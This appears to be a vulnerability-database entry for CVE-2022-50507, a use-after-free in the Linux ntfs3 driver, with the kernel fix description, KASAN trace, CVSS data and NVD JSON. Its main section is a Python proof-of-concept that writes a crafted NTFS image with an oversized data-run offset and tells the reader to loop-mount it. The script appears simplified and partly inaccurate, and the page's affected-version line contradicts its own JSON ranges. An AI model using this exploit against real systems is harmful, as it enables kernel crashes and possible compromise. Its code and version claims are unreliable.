CVE-2022-50507

Description

In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Validate data run offset This adds sanity checks for data run offset. We should make sure data run offset is legit before trying to unpack them, otherwise we may encounter use-after-free or some unexpected memory access behaviors. [ 82.940342] BUG: KASAN: use-after-free in run_unpack+0x2e3/0x570 [ 82.941180] Read of size 1 at addr ffff888008a8487f by task mount/240 [ 82.941670] [ 82.942069] CPU: 0 PID: 240 Comm: mount Not tainted 5.19.0+ #15 [ 82.942482] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 [ 82.943720] Call Trace: [ 82.944204] <TASK> [ 82.944471] dump_stack_lvl+0x49/0x63 [ 82.944908] print_report.cold+0xf5/0x67b [ 82.945141] ? __wait_on_bit+0x106/0x120 [ 82.945750] ? run_unpack+0x2e3/0x570 [ 82.946626] kasan_report+0xa7/0x120 [ 82.947046] ? run_unpack+0x2e3/0x570 [ 82.947280] __asan_load1+0x51/0x60 [ 82.947483] run_unpack+0x2e3/0x570 [ 82.947709] ? memcpy+0x4e/0x70 [ 82.947927] ? run_pack+0x7a0/0x7a0 [ 82.948158] run_unpack_ex+0xad/0x3f0 [ 82.948399] ? mi_enum_attr+0x14a/0x200 [ 82.948717] ? run_unpack+0x570/0x570 [ 82.949072] ? ni_enum_attr_ex+0x1b2/0x1c0 [ 82.949332] ? ni_fname_type.part.0+0xd0/0xd0 [ 82.949611] ? mi_read+0x262/0x2c0 [ 82.949970] ? ntfs_cmp_names_cpu+0x125/0x180 [ 82.950249] ntfs_iget5+0x632/0x1870 [ 82.950621] ? ntfs_get_block_bmap+0x70/0x70 [ 82.951192] ? evict+0x223/0x280 [ 82.951525] ? iput.part.0+0x286/0x320 [ 82.951969] ntfs_fill_super+0x1321/0x1e20 [ 82.952436] ? put_ntfs+0x1d0/0x1d0 [ 82.952822] ? vsprintf+0x20/0x20 [ 82.953188] ? mutex_unlock+0x81/0xd0 [ 82.953379] ? set_blocksize+0x95/0x150 [ 82.954001] get_tree_bdev+0x232/0x370 [ 82.954438] ? put_ntfs+0x1d0/0x1d0 [ 82.954700] ntfs_fs_get_tree+0x15/0x20 [ 82.955049] vfs_get_tree+0x4c/0x130 [ 82.955292] path_mount+0x645/0xfd0 [ 82.955615] ? putname+0x80/0xa0 [ 82.955955] ? finish_automount+0x2e0/0x2e0 [ 82.956310] ? kmem_cache_free+0x110/0x390 [ 82.956723] ? putname+0x80/0xa0 [ 82.957023] do_mount+0xd6/0xf0 [ 82.957411] ? path_mount+0xfd0/0xfd0 [ 82.957638] ? __kasan_check_write+0x14/0x20 [ 82.957948] __x64_sys_mount+0xca/0x110 [ 82.958310] do_syscall_64+0x3b/0x90 [ 82.958719] entry_SYSCALL_64_after_hwframe+0x63/0xcd [ 82.959341] RIP: 0033:0x7fd0d1ce948a [ 82.960193] Code: 48 8b 0d 11 fa 2a 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 008 [ 82.961532] RSP: 002b:00007ffe59ff69a8 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5 [ 82.962527] RAX: ffffffffffffffda RBX: 0000564dcc107060 RCX: 00007fd0d1ce948a [ 82.963266] RDX: 0000564dcc107260 RSI: 0000564dcc1072e0 RDI: 0000564dcc10fce0 [ 82.963686] RBP: 0000000000000000 R08: 0000564dcc107280 R09: 0000000000000020 [ 82.964272] R10: 00000000c0ed0000 R11: 0000000000000202 R12: 0000564dcc10fce0 [ 82.964785] R13: 0000564dcc107260 R14: 0000000000000000 R15: 00000000ffffffff

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.0（包含ntfs3模块的所有受影响版本）

Linux Kernel 5.19.0+（存在漏洞的版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2022-50507 PoC - Triggering Use-After-Free in ntfs3 run_unpack
# This PoC creates a malicious NTFS image with invalid data run offsets
# to trigger the use-after-free vulnerability in run_unpack function.

import struct
import sys

# Minimal NTFS boot sector template
NTFS_BOOT_SECTOR = bytearray(512)
# OEM ID
NTFS_BOOT_SECTOR[3:11] = b'NTFS    '
# Bytes per sector = 512
struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0B, 512)
# Sectors per cluster = 8
NTFS_BOOT_SECTOR[0x0D] = 8
# Reserved sectors = 0
struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0E, 0)
# Number of FATs = 0 (NTFS doesn't use FAT)
NTFS_BOOT_SECTOR[0x10] = 0
# Media descriptor = 0xF8
NTFS_BOOT_SECTOR[0x15] = 0xF8
# Sectors per track
struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x18, 63)
# Number of heads
struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x1A, 255)
# Hidden sectors
struct.pack_into('<I', NTFS_BOOT_SECTOR, 0x1C, 0)
# Total sectors
struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x28, 0x100000)
# MFT cluster number
struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x30, 0x1000)
# MFT mirror cluster number
struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x38, 0x2000)
# Clusters per MFT record
NTFS_BOOT_SECTOR[0x40] = 0xF6  # 2^(-10) clusters = -1024 bytes per record
# Clusters per index record
NTFS_BOOT_SECTOR[0x44] = 0xF6
# Volume serial number
struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x48, 0x1234567890ABCDEF)
# Signature
NTFS_BOOT_SECTOR[0x1FE:0x200] = b'\x55\xAA'

def create_malicious_data_run():
    """
    Create a malicious data run with invalid offset value.
    Data run format: header byte (low nibble = length of offset,
    high nibble = length of length), followed by length bytes,
    then offset bytes.
    """
    data_run = bytearray()
    # Header: offset_length=8, length_length=1
    data_run.append(0x81)
    # Length = 100 clusters
    data_run.append(100)
    # Offset = extremely large value to cause out-of-bounds access
    # This large offset will cause run_unpack to access invalid memory
    data_run.extend(struct.pack('<q', 0x7FFFFFFFFFFFFFFF))
    # End marker
    data_run.append(0x00)
    return data_run

def create_malicious_ntfs_image(output_path):
    """Create a malicious NTFS image to trigger CVE-2022-50507"""
    with open(output_path, 'wb') as f:
        # Write boot sector
        f.write(NTFS_BOOT_SECTOR)
        # Pad to MFT location
        f.write(b'\x00' * (0x1000 * 8 * 512 - 512))
        # Write malicious MFT record with crafted data runs
        mft_record = bytearray(1024)
        # FILE signature
        mft_record[0:4] = b'FILE'
        # Add malicious data run in attribute area
        malicious_run = create_malicious_data_run()
        # Place at attribute offset (simplified)
        attr_offset = 0x38
        mft_record[attr_offset:attr_offset+len(malicious_run)] = malicious_run
        f.write(mft_record)

if __name__ == '__main__':
    output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.ntfs'
    create_malicious_ntfs_image(output)
    print(f"[*] Malicious NTFS image created: {output}")
    print("[*] To trigger the vulnerability, mount the image:")
    print(f"    mount -t ntfs3 -o loop {output} /mnt/test")
    print("[*] Expected: KASAN use-after-free in run_unpack+0x2e3/0x570")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50507
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50507
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50507/
[4] VulDB https://vuldb.com/cve/CVE-2022-50507
[5] https://git.kernel.org/stable/c/6db620863f8528ed9a9aa5ad323b26554a17881d
[6] https://git.kernel.org/stable/c/9173b89c16a603d73c434b695fe2a7a13491300f
[7] https://git.kernel.org/stable/c/de5e0955248ff90a2ae91e7f5c108392b52152d0
[8] https://git.kernel.org/stable/c/e0455361d3068066a91fe18282b751925d7b5ee7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50507", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:47.960", "lastModified": "2026-03-25T00:36:25.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Validate data run offset\n\nThis adds sanity checks for data run offset. We should make sure data\nrun offset is legit before trying to unpack them, otherwise we may\nencounter use-after-free or some unexpected memory access behaviors.\n\n[ 82.940342] BUG: KASAN: use-after-free in run_unpack+0x2e3/0x570\n[ 82.941180] Read of size 1 at addr ffff888008a8487f by task mount/240\n[ 82.941670]\n[ 82.942069] CPU: 0 PID: 240 Comm: mount Not tainted 5.19.0+ #15\n[ 82.942482] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[ 82.943720] Call Trace:\n[ 82.944204] <TASK>\n[ 82.944471] dump_stack_lvl+0x49/0x63\n[ 82.944908] print_report.cold+0xf5/0x67b\n[ 82.945141] ? __wait_on_bit+0x106/0x120\n[ 82.945750] ? run_unpack+0x2e3/0x570\n[ 82.946626] kasan_report+0xa7/0x120\n[ 82.947046] ? run_unpack+0x2e3/0x570\n[ 82.947280] __asan_load1+0x51/0x60\n[ 82.947483] run_unpack+0x2e3/0x570\n[ 82.947709] ? memcpy+0x4e/0x70\n[ 82.947927] ? run_pack+0x7a0/0x7a0\n[ 82.948158] run_unpack_ex+0xad/0x3f0\n[ 82.948399] ? mi_enum_attr+0x14a/0x200\n[ 82.948717] ? run_unpack+0x570/0x570\n[ 82.949072] ? ni_enum_attr_ex+0x1b2/0x1c0\n[ 82.949332] ? ni_fname_type.part.0+0xd0/0xd0\n[ 82.949611] ? mi_read+0x262/0x2c0\n[ 82.949970] ? ntfs_cmp_names_cpu+0x125/0x180\n[ 82.950249] ntfs_iget5+0x632/0x1870\n[ 82.950621] ? ntfs_get_block_bmap+0x70/0x70\n[ 82.951192] ? evict+0x223/0x280\n[ 82.951525] ? iput.part.0+0x286/0x320\n[ 82.951969] ntfs_fill_super+0x1321/0x1e20\n[ 82.952436] ? put_ntfs+0x1d0/0x1d0\n[ 82.952822] ? vsprintf+0x20/0x20\n[ 82.953188] ? mutex_unlock+0x81/0xd0\n[ 82.953379] ? set_blocksize+0x95/0x150\n[ 82.954001] get_tree_bdev+0x232/0x370\n[ 82.954438] ? put_ntfs+0x1d0/0x1d0\n[ 82.954700] ntfs_fs_get_tree+0x15/0x20\n[ 82.955049] vfs_get_tree+0x4c/0x130\n[ 82.955292] path_mount+0x645/0xfd0\n[ 82.955615] ? putname+0x80/0xa0\n[ 82.955955] ? finish_automount+0x2e0/0x2e0\n[ 82.956310] ? kmem_cache_free+0x110/0x390\n[ 82.956723] ? putname+0x80/0xa0\n[ 82.957023] do_mount+0xd6/0xf0\n[ 82.957411] ? path_mount+0xfd0/0xfd0\n[ 82.957638] ? __kasan_check_write+0x14/0x20\n[ 82.957948] __x64_sys_mount+0xca/0x110\n[ 82.958310] do_syscall_64+0x3b/0x90\n[ 82.958719] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[ 82.959341] RIP: 0033:0x7fd0d1ce948a\n[ 82.960193] Code: 48 8b 0d 11 fa 2a 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 008\n[ 82.961532] RSP: 002b:00007ffe59ff69a8 EFLAGS: 00000202 ORIG_RAX: 00000000000000a5\n[ 82.962527] RAX: ffffffffffffffda RBX: 0000564dcc107060 RCX: 00007fd0d1ce948a\n[ 82.963266] RDX: 0000564dcc107260 RSI: 0000564dcc1072e0 RDI: 0000564dcc10fce0\n[ 82.963686] RBP: 0000000000000000 R08: 0000564dcc107280 R09: 0000000000000020\n[ 82.964272] R10: 00000000c0ed0000 R11: 0000000000000202 R12: 0000564dcc10fce0\n[ 82.964785] R13: 0000564dcc107260 R14: 0000000000000000 R15: 00000000ffffffff"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "5.15.87", "matchCriteriaId": "AF34DC7D-4D5D-4D9C-B1B4-FAE010E910F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.17", "matchCriteriaId": "05B2AE8A-556C-47C1-9119-DBAC5EB60947"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.3", "matchCriteriaId": "70594F60-3413-4969-AFD7-965266760EA6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6db620863f8528ed9a9aa5ad323b26554a17881d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9173b89c16a603d73c434b695fe2a7a13491300f", "source": "4 ... (truncated)